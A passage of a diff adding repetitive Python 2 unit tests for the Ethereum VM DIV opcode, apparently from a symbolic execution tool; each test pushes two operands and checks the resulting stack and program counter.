+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_DIV_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_DIV_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_DIV_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_DIV_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_DIV_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_DIV_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_DIV_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_DIV_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_DIV_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_DIV_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_DIV_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_DIV_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_DIV_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
